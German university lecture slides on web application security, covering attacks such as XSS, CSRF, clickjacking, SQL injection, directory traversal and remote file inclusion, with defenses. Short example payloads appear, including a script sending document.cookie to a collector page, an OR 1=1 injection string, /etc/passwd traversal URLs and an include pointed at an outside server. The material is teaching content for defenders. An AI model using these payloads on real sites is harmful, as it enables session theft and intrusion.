Webtechnologien
Wintersemester 2024
Sicherheit von Webanwendungen
♯
♫
Sicherheit von Webanwendungen
<section id="sicherheit-von-webanwendungen" class="slide cover"><div><h2>Sicherheit von Webanwendungen</h2> <footer> <p>Websicherheit ist ein enorm interessantes Gebiet und sollte ernster genommen werden. Denn schlechte Websicherheit führt zu all den Problemen, die uns den Spaß am Web verderben: Spam, Viren, Identitätsdiebstahl und so weiter.</p> <p>Und es ist ein komplexes Thema. Angriffe sind häufig Kombinationen verschiedener Schwachstellen. Und fast immer auf menschliche Fehler zurückzuführen. Nachlässige Programmierer, viel zu schwache Passwörter, Tutorials, die einen etwas <q>in 5min machen</q> lassen.</p> <p>Denn wenn es zu einfach klingt, ist es das häufig auch.</p> <p>Ihr werdet in dieser Vorlesung nicht zu Sicherheitsexperten. Ich werdet euch wahrscheinlich nicht mal alles merken können. Das ist in Ordnung, denn es geht mehr darum, Bewusstsein zu schaffen und euch die Fallgruben zu zeigen, damit ihr später vielleicht mal denkt: <q>Ach, da war doch was</q>.</p> </footer> </div></section> <section class="slide" id="technologische-grundlagen"><div><h2>Technologische Grundlagen</h2> <ol> <li>HTTP, URL, DNS</li> <li>PHP</li> <li>HTML, CSS</li> <li>JavaScript</li> </ol> </div></section> <section class="slide" id="javascript"><div><h2>JavaScript</h2> <ul> <li>Same Origin Policy</li> <li>Cookies lesen (und damit auch weitergeben)</li> <li>Inhalte der Seite hinzufügen, entfernen, ändern</li> <li>Downloads starten</li> <li>Aktionen ausführen, als kämen sie vom Benutzer und unsichtbare Kommunikation</li> </ul> </div></section> <section class="slide" id="häufige-sicherheitsprobleme"><div><h2>Häufige Sicherheitsprobleme</h2> <ul> <li>Validierung von Ein- und Ausgabedaten</li> <li class="next">Direkter Datenzugriff und -diebstahl</li> <li class="next">Data Poisoning</li> <li class="next">Malicious file execution</li> <li class="next">Authentifizierung und Autorisierung</li> <li class="next">Phishing</li> <li class="next">Fehlerbehandlung</li> </ul> <footer> <ul> <li>Validation of input and output data <ul> <li>Validierung des Typs (int, bool), der Größe (max. 42 Zeichen, 5MB), der Syntax (IP: Zahl, Punkt, Zahl) und Geschäftsregeln (keine Abbuchung über 10.000€)</li> <li>Alle anzuzeigenden Daten müssen sicher anzuzeigen sein (XSS)</li> </ul> </li> <li>Direkter Datenzugriff und -diebstahl <ul> <li>Wenn Daten existieren, können sie auch angezeigt oder ausgelesen werden (Facebook-Bilder-Bug (Zuckerbergs Tiere), Flickr-Private-Photos-Bug, Google-Suche nach Dropbox-Public-Folder: <code class="language-plaintext highlighter-rouge">site:dropbox.com/gallery</code>)</li> </ul> </li> <li>Data Poisoning <ul> <li>http://en.wikipedia.org/wiki/Session_poisoning</li> <li>Session Poisoning: http://seclists.org/bugtraq/2005/Sep/193</li> <li>Nachrichtenmanipulation: http://en.wikipedia.org/wiki/Emulex_hoax (08.2000; -60%, -2 Mrd. USD, Nasdaq halted; 9:30 -3h = 6:30)</li> </ul> </li> <li>Malicious file execution <ul> <li>PHP-Datei uploaden, ansteuern, Profit (Bsp: SNN)</li> </ul> </li> <li>Authentifizierung und Autorisierung <ul> <li>Verifizierung der Identität (→ Cookie-Diebstahl)</li> <li>Zugriffsrechte</li> </ul> </li> <li>Phishing (Bsp: SNN) <ul> <li>Vortäuschen anderer Identität (Emails, Websites, URLs)</li> <li>Bewusstsein zu schaffen ist beste Abwehr (Mail: wir werden NIE nach ihrem Passwort fragen), aber auch Designaspekte und Ansprache des Nutzers</li> </ul> </li> <li>Fehlerbehandlung <ul> <li>Fehlernachrichten können Informationen zu Benutzern oder Konfigurationen geben (PHP, .NET)</li> </ul> </li> </ul> </footer> </div></section> <section class="slide" id="konkrete-angriffsmethoden"><div><h2>Konkrete Angriffsmethoden</h2> <p class="center"><img src="web-vulnerabilities-2014.png" alt="Vulnerabilities" /></p> <p class="note right">Quelle: <a href="https://www.infopoint-security.de/medien/cenzic-vulnerability-report-2014.pdf">CENZIC</a></p> </div></section> <section class="slide shout" id="client"><div><h2>Client</h2> </div></section> <section class="slide" id="session-hijacking"><div><h2>Session Hijacking</h2> <ul> <li>Diebstahl identifizierender Daten</li> <li>HTTP zustandslos, daher andere Techniken nötig</li> <li>Session-IDs, IP, Cookies <pre class="highlight language-" data-lang=""><code> http://onlineshop.de/index.php?session=9970ac048cb8b </code></pre></li> <li>Angriffe <ul> <li>Vorhersagbare Token</li> <li>Sniffing</li> <li>Clientseitige Angriffe</li> <li>Man-in-the-middle / -browser</li> </ul> </li> </ul> </div></section> <section class="slide" id="man-in-the-middle---browser"><div><h2>Man-In-The-Middle / -Browser</h2> <ul> <li>Angriff, bei dem Inhalte von Websites verändert werden</li> <li>Beispiel: Veränderung von Überweisungsdaten im Browser</li> </ul> <p class="center"><img src="man_in_the_middle_attack.svg" alt="man-in-the-middle attack" /></p> <p class="note">Quelle: <a href="http://en.wikipedia.org/wiki/File:Man_in_the_middle_attack.svg">Wikipedia</a></p> <footer> <p>Durch Trojaner oder Scripte (Bsp: Erdinger-Weißbier-Werbung + Japaner / Überweisungen)</p> </footer> </div></section> <section class="slide" id="cross-site-scripting-xss"><div><h2>Cross-Site Scripting (XSS)</h2> <ul> <li>Einschleusen bösartiger Skripte in sonst vertrauenswürdige Seiten</li> <li>Angriff möglich durch mangelnde Überprüfung von Benutzereingaben</li> <li>Stored / Reflected</li> <li>Kann zum Herausschleusen von Informationen genutzt werden</li> <li>Beispiel: Samy auf MySpace</li> <li>Abwehr: Daten immer escapen (<code class="language-plaintext highlighter-rouge">& → &amp;</code>)</li> <li>Abwehr: Content Security Policy</li> </ul> <footer> <ul> <li> <p><a href="http://www.golem.de/news/xss-cross-site-scripting-ueber-dns-records-1409-109354.html">Cross-Site-Scripting über DNS-Records</a></p> </li> <li>Sniffing (siehe Code)</li> <li>Protokoll-Manipulation (https -> http)</li> <li>Stored: Wird auf dem Server gespeichert</li> <li> <p>Reflected: Gibt übergebene Werte wieder</p> </li> <li>Bsp: Sammy, in 20h >1 Mio User, schnellster jemals</li> <li>Bsp: Cookie Bombs: http://homakov.blogspot.de/2014/01/cookie-bomb-or-lets-break-internet.html</li> <li>Bsp: Wordpress, XSS in Kommentarfeldern, Anlegen neuer Benutzer, Ändern von PHP-Code etc (über 40 Millionen (selbst gehostete) WP-Installationen, davon 80% angreifbar auf v3.x)</li> </ul> <pre class="highlight language-html" data-lang="html"><code><span class="nt"><META</span> <span class="na">HTTP-EQUIV=</span><span class="s">"refresh"</span> <span class="na">CONTENT=</span><span class="s">"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"</span><span class="nt">></span> </code></pre> <p>→ Content Security Policy in HTTP-Header</p> </footer> </div></section> <section class="slide" id="cross-site-scripting-xss-1"><div><h2>Cross-Site Scripting (XSS)</h2> <pre class="highlight language-js" data-lang="js"><code><span class="kd">var</span> <span class="nx">img</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">img</span><span class="dl">'</span><span class="p">);</span> <span class="nx">img</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">keksdose.php?cookie=</span><span class="dl">'</span> <span class="o">+</span> <span class="nf">btoa</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nf">appendChild</span><span class="p">(</span><span class="nx">img</span><span class="p">);</span> </code></pre> <p class="center"><a href="http://home.htw-berlin.de/~beierm/websec/attacks/XSS.html">Beispiel</a></p> <footer> <ul> <li>Payload kann zusäztlich Base64-kodiert werden</li> </ul> </footer> </div></section> <section class="slide" id="content-spoofing"><div><h2>Content Spoofing</h2> <ul> <li>Einschleusen fremder Inhalte in eine an sich vertrauenswürdige Seite</li> <li>Angriff möglich durch mangelnde Überprüfung von Eingaben</li> <li>Ähnelt Cross-Site Scripting</li> <li>Häufig im Zusammenhang mit Social Engineering</li> </ul> <pre class="highlight language-php" data-lang="php"><code><span class="cp"><?php</span> <span class="nv">$name</span> <span class="o">=</span> <span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'name'</span><span class="p">];</span> <span class="cp">?></span> <span class="nt"><html></span> Hello, <span class="cp"><?=</span> <span class="nv">$name</span><span class="p">;</span> <span class="cp">?></span>! <span class="nt"></html></span> </code></pre> <p class="center"><a href="http://home.htw-berlin.de/~beierm/websec/attacks/content_spoofing.php?name=Emil">Beispiel</a> (<a href="http://home.htw-berlin.de/~beierm/websec/attacks/content_spoofing.html">Code</a>)</p> <footer> <ul> <li>Häufig im Zusammenhang mit Social Engineering → Ausnutzen des Vertrauen des Nutzers</li> </ul> </footer> </div></section> <section class="slide" id="cross-site-request-forgery"><div><h2>Cross-Site Request Forgery</h2> <ul> <li>Führt eine Aktion im Namen des Nutzers samt all seiner Rechte aus</li> <li>Auth per Cookie (werden aber immer mitgeschickt)</li> <li>Angriff erfolgt über das Einbinden einer externen Ressource</li> <li>POST ist auch keine Lösung</li> <li>Abwehr <ul> <li>Origin-Header, CAPTCHA, Re-Auth, Token</li> <li>Nur POST verwenden (weil GET einfacher, siehe <code class="language-plaintext highlighter-rouge"><img></code>)</li> </ul> </li> </ul> <pre class="highlight language-html" data-lang="html"><code><span class="nt"><img</span> <span class="na">src=</span><span class="s">"http://blog.de/admin/delete.php?id=1"</span><span class="nt">></span> </code></pre> <footer> <ul> <li>Häufig in Kombination mit Social Engineering</li> </ul> </footer> </div></section> <section class="slide" id="clickjacking"><div><h2>Clickjacking</h2> <p><img src="clickjacking.jpg" alt="Clickjacking" class="right" width="369" /></p> <ul> <li>Unsichtbares Element mit Link über sichtbaren Link legen</li> <li>Klickt Benutzer auf sichtbaren Link, wird der unsichtbare aktiviert</li> <li>Benutzt für Spaß, Werbebanner, Facebook-Likes etc.</li> </ul> <p class="note">Quelle: <a href="http://www.smashingmagazine.com/2010/01/14/web-security-primer-are-you-part-of-the-problem/">Smashing Magazine</a></p> <footer> <ul> <li>Abwehr: Gucken, ob <code class="language-plaintext highlighter-rouge">body</code> oberste Ebene ist, <code class="language-plaintext highlighter-rouge">X-Frame-Options: DENY</code>-HTTP-Header</li> <li><code class="language-plaintext highlighter-rouge">window.confirm()</code></li> <li>Twitter: http://dsandler.org/wp/archives/2009/02/12/dontclick</li> <li>Zugriff auf Webcam über Flash-Element (geht nicht mehr)</li> <li><q>Don’t Click</q>-Wurm auf Twitter</li> <li>Klicken von Werbebannern</li> <li>Ungewollte Facebook-Likes</li> </ul> </footer> </div></section> <section class="slide" id="clickjacking--abwehr"><div><h2>Clickjacking – Abwehr</h2> <pre class="highlight language-html" data-lang="html"><code><span class="c"><!-- From http://www.ft.com/ --></span> <span class="nt"><style </span><span class="na">id=</span><span class="s">"antiClickjack"</span><span class="nt">></span> <span class="nt">body</span> <span class="p">{</span> <span class="nl">display</span><span class="p">:</span> <span class="nb">none</span> <span class="cp">!important</span><span class="p">;</span> <span class="p">}</span> <span class="nt"></style></span> <span class="nt"><script </span><span class="na">type=</span><span class="s">"text/javascript"</span><span class="nt">></span> <span class="k">if </span><span class="p">(</span><span class="nb">self</span> <span class="o">===</span> <span class="nx">top</span><span class="p">)</span> <span class="p">{</span> <span class="kd">var</span> <span class="nx">antiClickjack</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">antiClickjack</span><span class="dl">"</span><span class="p">);</span> <span class="nx">antiClickjack</span><span class="p">.</span><span class="nx">parentNode</span><span class="p">.</span><span class="nf">removeChild</span><span class="p">(</span><span class="nx">antiClickjack</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nx">top</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="nb">self</span><span class="p">.</span><span class="nx">location</span><span class="p">;</span> <span class="p">}</span> <span class="nt"></script></span> </code></pre> </div></section> <section class="slide" id="history-diebstahl"><div><h2>History Diebstahl</h2> <p><img src="wife-discovers-browser-history-ca-1586.jpg" alt="wife discovers browser history - ca 1586" class="center" /></p> <footer> <p>wife discovers browser history (ca 1586)</p> </footer> </div></section> <section class="slide" id="history-diebstahl-1"><div><h2>History Diebstahl</h2> <p><img src="google.jpg" alt="Google-Trefferliste" /></p> <ul> <li>Ausspähen der Bank und Einblenden der entsprechenden Phishingsite</li> <li><a href="http://mikeonads.com/2008/07/13/using-your-browser-url-history-estimate-gender/">mikeonads.com/…/using-your-browser-url-history-estimate-gender/</a></li> <li><a href="http://didyouwatchporn.com">didyouwatchporn.com</a></li> </ul> </div></section> <section class="slide" id="history-diebstahl-2"><div><h2>History Diebstahl</h2> <ul> <li>Unsichtbarer Bereich wird mit Millionen Links gefüllt</li> <li>Diese haben alle eine eindeutige ID (z.B. die URL)</li> <li>Per CSS wird für jede ID die Pseudo-Klasse <q>:visited</q> definiert.</li> <li>Diese bindet ein Hintergrundbild mit der URL ein</li> <li>Der Browser prüft, ob diese Links besucht wurden und lädt nun gegebenfalls das Bild nach</li> </ul> </div></section> <section class="slide shout" id="server"><div><h2>Server</h2> </div></section> <section class="slide" id="sql-injection"><div><h2>SQL Injection</h2> <ul> <li>Einschleusen von SQL-Code</li> <li>Angriff möglich durch mangelnde Überprüfung von Benutzereingaben</li> </ul> <p><img src="exploits_of_a_mom.png" alt="Bobby Tables" class="center" /></p> <p class="note">Quelle: <a href="http://xkcd.com/327/">XKCD</a></p> <footer> <ol> <li>Benutzer sendet eingegebene Daten ab</li> <li>Server verarbeitet Daten und führt einen Datenbankabfrage aus <ul> <li>Angriffsziele:</li> </ul> <ul> <li>Logins (Jemand anderes sein)</li> <li>Suchen (Herausschleusen von Daten)</li> </ul> </li> </ol> </footer> </div></section> <section class="slide" id="sql-injection-1"><div><h2>SQL Injection</h2> <pre class="highlight language-sql" data-lang="sql"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">name</span> <span class="o">=</span> <span class="s1">'$user'</span> <span class="k">AND</span> <span class="n">pwd</span> <span class="o">=</span> <span class="s1">'$pwd'</span> <span class="o">//</span> <span class="n">name</span> <span class="o">=</span> <span class="n">Alf</span><span class="p">,</span> <span class="n">pwd</span> <span class="o">=</span> <span class="n">katze</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">name</span> <span class="o">=</span> <span class="s1">'Alf'</span> <span class="k">AND</span> <span class="n">pwd</span> <span class="o">=</span> <span class="s1">'katze'</span> <span class="o">//</span> <span class="n">name</span> <span class="o">=</span> <span class="n">x</span><span class="s1">' OR 1=1;# SELECT * FROM users WHERE name = '</span><span class="n">x</span><span class="s1">' OR 1=1;#'</span> <span class="k">AND</span> <span class="n">pwd</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span> </code></pre><ul> <li>GitHub-Suche: <a href="https://github.com/search?p=3&q=extension%3Aphp+mysql_query+%24_GET&ref=searchresults&type=Code"><code class="language-plaintext highlighter-rouge">extension:php mysql_query $_GET</code></a></li> </ul> <p class="center"><a href="http://home.htw-berlin.de/~beierm/websec/attacks/sql_injection.html">Beispiel</a></p> </div></section> <section class="slide" id="e-mail-injection"><div><h2>E-Mail-Injection</h2> <ul> <li>Verschicken von E-Mails über ein ungeschütztes Kontaktformular</li> <li>Wird zum Versenden von Spam benutzt</li> <li>Angriff: Einschleusen zusätzlicher Header-Informationen (CC / BCC)</li> <li>Angriff möglich durch mangelnde Überprüfung von Benutzereingaben</li> </ul> </div></section> <section class="slide" id="open-redirect"><div><h2>Open Redirect</h2> <ul> <li>Weiterleitungs-Anwendung kann für bösartige Links benutzt werden</li> <li>Angriff möglich durch mangelnde Überprüfung von Benutzereingaben</li> <li>Häufig benutzt bei Phishing</li> <li>Beispiel <code class="language-plaintext highlighter-rouge">http://www.normal.de?redirect=http://boese.com</code></li> </ul> </div></section> <section class="slide" id="directory-traversal"><div><h2>Directory Traversal</h2> <p><img src="ebaytraversal.jpg" alt="Ebay" class="right" width="400" /></p> <ul> <li>Versuch, durch Manipulation von Pfadangaben auf beliebige Verzeichnisse oder Dateien zuzugreifen</li> </ul> <pre class="highlight language-" data-lang=""><code>http://some_site.com/../../../../etc/shadow http://some_site.com/get-files?file=/etc/passwd </code></pre> <p class="note">Quelle: <a href="http://www.xssed.com/news/87/Critical_XSS_and_directory_traversal_flaws_on_Ebay.co.uk_website/">xssed.com</a></p> <footer> <ul> <li><code class="language-plaintext highlighter-rouge" class="next">/site=admin</code></li> </ul> </footer> </div></section> <section class="slide" id="remote-code-execution"><div><h2>Remote Code Execution</h2> <ul> <li>Ausführen eigener Kommandos / Code auf einer fremden Maschine</li> <li>Angriffe <ul> <li>Einbinden / Hochladen bösartiger Dateien</li> <li>Ausnutzen von Programmierfehlern</li> </ul> </li> <li>Beispiel aus phpBB: <pre class="highlight language-" data-lang=""><code> include_once ($phpbb_root_path . 'common.php'); </code></pre></li> <li>Angriff: <pre class="highlight language-" data-lang=""><code> forum.de/plugin.php&phpbb_root_path=http://meinServer.de/ </code></pre></li> </ul> <footer> <ul> <li>http://php.net/manual/en/security.filesystem.nullbytes.php</li> <li><code class="language-plaintext highlighter-rouge">image.php?image=http://evil_scripts</code></li> </ul> </footer> </div></section> <section class="slide" id="information-disclosure"><div><h2>Information Disclosure</h2> <ul> <li>Preisgabe interner Informationen</li> </ul> <p><img src="default-asp-error-500_small.png" alt="Default ASP.NET Error" /></p> <footer> <ul> <li>Passiert meist bei Fehlermeldungen</li> <li>Bsp: <q>falscher Benutzer</q> / <q>falsches Passwort</q></li> </ul> </footer> </div></section> <section class="slide" id="information-disclosure-1"><div><h2>Information Disclosure</h2> <p><img src="dkb.png" alt="DKB" /></p> </div></section> <section class="slide" id="information-disclosure-2"><div><h2>Information Disclosure</h2> <p><img src="dbpwd.png" alt="Putlockers" /></p> </div></section> <section class="slide" id="information-disclosure-3"><div><h2>Information Disclosure</h2> <blockquote> <p>The FBI claims to have found the server’s location without the NSA’s help, simply by fiddling with the Silk Road’s login page until it leaked its true location.</p> </blockquote> <p class="author"><a href="http://www.wired.com/2014/09/the-fbi-finally-says-how-it-legally-pinpointed-silk-roads-server">The FBI Finally Says How It ‘Legally’ Pinpointed Silk Road’s Server</a><br /> <br /></p> <p class="center"><a href="https://www.google.com/search?q=db_password+filetype%3Aenv">Google-Suche nach Config-Dateien</a></p> <footer> <ul> <li>Im Mai 2014 schrieb Wired zur Verhaftung des mutmaßlichen Silk-Road-Gründers Ross Ulbricht.</li> </ul> </footer> </div></section> <section class="slide" id="dns-spoofing"><div><h2>DNS Spoofing</h2> <ul> <li>Angriff auf das Domain Name System</li> <li>Versucht, unbemerkt Domains andere IPs zuzuordnen</li> <li>Wird meist für Phishing genutzt … oder von Providern / Staaten</li> <li>Gegenmaßnahme: DNSSEC (anym. crypt. sign.)</li> </ul> <footer> <p>Banking: Fake-Login Site mit Aufforderung der Eingabe von PIN x, wobei im Hintergrund auf der echten Seite eine Überweisung mit Pin x durchgeführt wird</p> <ol> <li>Ein Angreifer bringt den Nameserver XX unter seine Kontrolle. Er manipuliert diesen derart, dass jedes Mal, wenn nach einem Namen aus der Domain example.com gefragt wird, ungefragt der gefälschte Record de.wikipedia.org 192.0.2.1 mitgeliefert wird.</li> <li>Der öffentliche Nameserver YY möchte den Namen test.example.com auflösen. Er sendet eine entsprechende Anfrage an den zuständigen (vom Angreifer kontrollierten) Nameserver XX. Dieser manipulierte Nameserver antwortet mit der korrekten IP-Adresse, liefert aber zusätzlich den gefälschten Record de.wikipedia.org 192.0.2.1 mit. Dieser wird vom anfragenden Server YY ungeprüft in den Cache übernommen.</li> <li>Zu einem späteren Zeitpunkt versucht ein User, den Namen de.wikipedia.org aufzulösen und wendet sich an den öffentlichen Nameserver YY. Der Nameserver findet den (gefälschten) Record in seinem Cache und sendet dem User gutgläubig die IP-Adresse 192.0.2.1 zurück.</li> <li>Der User möchte auf de.wikipedia.org zugreifen, wird aber – für ihn nicht erkennbar – auf eine falsche Web-Seite mit der IP-Adresse 192.0.2.1 geleitet.</li> </ol> <p>2007 sperrte Arcor viele Porn-Inhalte per DNS–Änderung.</p> </footer> </div></section> <section class="slide shout" id="umgang-mit-"><div><h2>Umgang mit …</h2> </div></section> <section class="slide" id="umgang-mit-manipulierten-daten"><div><h2>Umgang mit manipulierten Daten</h2> <ul> <li>Verarbeitung stoppen und oder Umleitung zur Startseite</li> <li>Hinweis auf Angriffsverdacht</li> <li>Session / Nutzer sperren</li> <li>Vortäuschen eines korrekten Ablaufs, intern aber stoppen. (Unsichtbare Schreibmaschine von Chief Wiggum)</li> <li>Bereinigung der Daten und normal weiter</li> </ul> </div></section> <section class="slide" id="umgang-mit-cookies"><div><h2>Umgang mit Cookies</h2> <ul> <li>Spezielle Flags beim Setzen eines Cookies</li> <li><code class="language-plaintext highlighter-rouge">secure</code>: Werden nur bei sicherer Verbindung (HTTPS) übertragen</li> <li><code class="language-plaintext highlighter-rouge">HttpOnly</code>: Können nicht per JavaScript gelesen oder bearbeitet werden (<code class="language-plaintext highlighter-rouge">document.cookie</code>)</li> </ul> </div></section> <section class="slide" id="umgang-mit-sessionids"><div><h2>Umgang mit SessionIDs</h2> <ul> <li>Nicht aufgrund externer Daten, (sID = name + IP) sondern immer zufällig generieren</li> <li>Lang genug für Brute Force</li> <li>Nur über HTTPS, nie unverschlüsselt</li> <li>Ablaufdatum</li> <li>Zusätzlich können weitere Daten an die SessionID gebunden werden, beispielsweise IP, UA, (installierte Plugins und Fonts, Farbtiefe des Monitors)</li> <li>Dialogtracking – Session wird mit jeder Anfrage neu generiert (recht sicher, aber anstrengend)</li> </ul> </div></section> <section class="slide" id="pressespiegel"><div><h2>Pressespiegel</h2> <ul> <li>XSS: <a href="http://www.golem.de/news/cross-site-scripting-kritische-wordpress-luecke-betrifft-86-prozent-der-seiten-1411-110750.html">Kritische Wordpress-Lücke betrifft 86 Prozent der Seiten</a></li> <li>SQL-Injection: <a href="http://www.golem.de/news/security-schwere-sicherheitsluecke-in-drupal-7-1410-109890.html">Schwere Sicherheitslücke in Drupal 7</a> (<a href="http://drupal.stackexchange.com/questions/133795/what-kind-of-attacks-does-the-patch-for-sa-core-2014-005-drupal-7-32-prevent">Erklärung</a>)</li> <li>CSRF: <a href="http://yasserali.com/hacking-paypal-accounts-with-one-click/">Hacking PayPal Accounts with one Click</a></li> <li>RCE: <a href="https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html">Critical 0-day Remote Command Execution Vulnerability in Joomla</a></li> </ul> </div></section> <section class="slide" id="links"><div><h2>Links</h2> <ul> <li><a href="https://de.wikipedia.org/wiki/Sicherheit_von_Webanwendungen">Sicherheit von Webanwendungen</a></li> <li><a href="http://www.smashingmagazine.com/2010/01/web-security-primer-are-you-part-of-the-problem/">Web Security: Are You Part Of The Problem?</a></li> <li><a href="http://wbond.net/security/">PHP Application Security</a> (leicht veraltet)</li> <li><a href="https://www.owasp.org/index.php/Main_Page">OWASP – Open Web Application Security Project</a></li> <li><a href="https://code.google.com/p/browsersec/wiki/Main">Browser Security Handbook</a></li> <li><a href="https://github.com/minimaxir/big-list-of-naughty-strings">Big List of Naughty Strings</a></li> <li><a href="http://kunststube.net/escapism/">The Great Escapism (Or: What You Need To Know To Work With Text Within Text)</a></li> <li><a href="https://www.troyhunt.com/passwords-evolved-authentication-guidance-for-the-modern-era/">Passwords Evolved: Authentication Guidance for the Modern Era</a></li> <li><a href="https://github.com/vitalysim/Awesome-Hacking-Resources">Awesome Hacking Resources</a></li> <li><a href="https://sqlwiki.netspi.com/">SQL Injection Wiki</a></li> </ul> </div></section>